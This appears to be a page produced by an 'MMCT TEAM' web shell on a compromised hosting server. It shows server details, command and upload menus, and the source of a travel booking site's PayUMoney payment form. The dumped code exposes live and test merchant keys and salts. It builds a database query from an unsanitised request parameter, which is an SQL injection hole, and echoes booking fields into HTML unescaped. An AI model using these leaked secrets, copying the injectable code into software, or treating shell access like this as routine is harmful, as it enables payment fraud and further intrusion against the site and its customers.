MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.119.143.45
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/instabus.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/instabus.in/PayUMoney_form.php
<?php
ob_start();
date_default_timezone_set('Asia/Kolkata');
require_once("includes/dbsmain.inc.php");
include("site-main-query.php");
$site_url=$compDATA['admin_website_url'];
$current_date=date('Y-m-d');

$book_id=base64_decode($_REQUEST['i']);
$res=mysqli_fetch_array(db_query("select * from tbl_booking where booking_id='$book_id' "));


/*Testing*/
//$MERCHANT_KEY = "QyT13U";
//$SALT = "UnJ0FGO0kt3dUgnHo9Xgwi0lpipBV0hB";

/*Live*/
$MERCHANT_KEY = "ziO7mK";
$SALT = "iVTufJSskCSv7e0hvfjSr6yBp61dSiVi";


// Merchant Key and Salt as provided by Payu.

//$PAYU_BASE_URL = "https://test.payu.in/_payment";		// For Sandbox Mode
$PAYU_BASE_URL = "https://secure.payu.in";			// For Production Mode

$action = '';

$posted = array();
if(!empty($_POST)) {
    //print_r($_POST);
  foreach($_POST as $key => $value) {    
    $posted[$key] = $value; 
	
  }
}

$formError = 0;

if(empty($posted['txnid'])) {
  // Generate random transaction id
  $txnid = substr(hash('sha256', mt_rand() . microtime()), 0, 20);
} else {
  $txnid = $posted['txnid'];
}
$hash = '';
// Hash Sequence
$hashSequence = "key|txnid|amount|productinfo|firstname|email|udf1|udf2|udf3|udf4|udf5|udf6|udf7|udf8|udf9|udf10";
if(empty($posted['hash']) && sizeof($posted) > 0) {
  if(
          empty($posted['key'])
          || empty($posted['txnid'])
          || empty($posted['amount'])
          || empty($posted['firstname'])
          || empty($posted['email'])
          || empty($posted['phone'])
          || empty($posted['productinfo'])
          || empty($posted['surl'])
          || empty($posted['furl'])
	
  ) {
    $formError = 1;
  } else {
    //$posted['productinfo'] = json_encode(json_decode('[{"name":"tutionfee","description":"","value":"500","isRequired":"false"},{"name":"developmentfee","description":"monthly tution fee","value":"1500","isRequired":"false"}]'));
	$hashVarsSeq = explode('|', $hashSequence);
    $hash_string = '';	
	foreach($hashVarsSeq as $hash_var) {
      $hash_string .= isset($posted[$hash_var]) ? $posted[$hash_var] : '';
      $hash_string .= '|';
    }

    $hash_string .= $SALT;


    $hash = strtolower(hash('sha512', $hash_string));
    $action = $PAYU_BASE_URL . '/_payment';
  }
} elseif(!empty($posted['hash'])) {
  $hash = $posted['hash'];
  $action = $PAYU_BASE_URL . '/_payment';
}
?>
<html>
  <head>
  <script>
    var hash = '<?php echo $hash ?>';
    function submitPayuForm() {
    /*  if(hash == '') {
        return;
      }*/
      var payuForm = document.forms.payuForm;
      payuForm.submit();
    }
  </script>
  </head>
  <body onload="submitPayuForm()">
  <!--  <h2>PayU Form</h2>-->
    <br/>
    <?php if($formError) { ?>
	
      <span style="color:red">Please fill all mandatory fields.</span>
      <br/>
      <br/>
    <?php } ?>
    <form action="<?php echo $action; ?>" method="post" name="payuForm">
      <input type="hidden" name="key" value="<?php echo $MERCHANT_KEY ?>" />
      <input type="hidden" name="hash" value="<?php echo $hash ?>"/>
      <input type="hidden" name="txnid" value="<?php echo $txnid ?>" />
      <table>
        <tr>
          <!--<td><b>Mandatory Parameters</b></td>-->
        </tr>
        <tr>
        <!--  <td>Amount: </td>-->
          <td><input type="hidden" name="amount" value="<?=$res['booking_total_price']?>" /></td>
         <!-- <td>First Name: </td>-->
     
          <td><input type="hidden" name="firstname" id="firstname" value="<?=$res['booking_user_name']?>" /></td>
        </tr>
        <tr>
     <!--     <td>Email: </td>-->
          <td><input type="hidden" name="email" id="email" value="<?=$res['booking_user_email']?>" /></td>
        <!--  <td>Phone: </td>-->
          <td><input type="hidden" name="phone" value="<?=$res['booking_user_mobile']?>" /></td>
        </tr>
        <tr>
        <!--  <td>Product Info: </td>-->
          <td colspan="3">
              <input type="hidden" name="productinfo" value="<?=$res['booking_package_name']?>"> </td>
        </tr>
        <tr>
       <!--   <td>Success URI: </td>-->
          <td colspan="3"><input type="hidden" name="surl" value="<?=$site_url?>/thanks.html" size="64" /></td>
        </tr>
        <tr>
         <!-- <td>Failure URI: </td>-->
          <td colspan="3"><input type="hidden" name="furl" value="<?=$site_url?>/fail.html" size="64" /></td>
        </tr>

      

        <tr>
      <!--    <td><b>Optional Parameters</b></td>-->
        </tr>
   
        
        <input type="hidden" name="udf1" value="<?=base64_encode($res['booking_id'])?>" />
        
           
        <tr>
       <!--   <td>Address1: </td>-->
          <td><input type="hidden" name="address1" value="<?=$res['booking_user_address']?>" /></td>
          <td> </td>
          <td></td>
        </tr>
     
    
      
        <tr>
          <?php if(!$hash) { ?>
           <!-- <td colspan="4"><input type="submit" value="Submit" /></td>-->
          <?php } ?>
        </tr>
      </table>
    </form>
    <center>
<img src="<?=$site_url?>/images/processing.gif">    
</center>
  </body>
</html>

MMCT - 2023